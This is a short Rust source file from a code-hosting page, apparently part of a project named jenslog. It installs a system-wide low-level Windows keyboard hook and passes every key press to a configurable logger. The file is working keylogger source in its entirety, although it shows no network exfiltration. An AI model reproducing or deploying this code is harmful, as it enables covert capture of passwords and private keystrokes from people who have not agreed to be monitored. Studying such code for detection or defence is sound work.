LordMZTE
277de089db
this prevents the module from having the same name as its parant and makes the linter happy
30 lines
798 B
Rust
30 lines
798 B
Rust
#[macro_use]
|
|
extern crate lazy_static;
|
|
|
|
use std::env::args;
|
|
use std::ptr::null_mut;
|
|
|
|
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
|
|
|
|
use jenslog_rs::logging::logger::{get_logger, Logger};
|
|
|
|
lazy_static! {
|
|
pub static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
|
|
}
|
|
//static mut LOGGER: Box<dyn Logger> = get_logger(args().nth(0).map(|k| k.as_str()));
|
|
|
|
fn main() {
|
|
unsafe {
|
|
SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
|
|
GetMessageW(null_mut(), null_mut(), 0, 0);
|
|
}
|
|
}
|
|
|
|
unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize {
|
|
//Check if keydown
|
|
if w_param != 256 { return 0; }
|
|
let key = *(l_param as PKBDLLHOOKSTRUCT);
|
|
LOGGER.log(&key);
|
|
0
|
|
}
|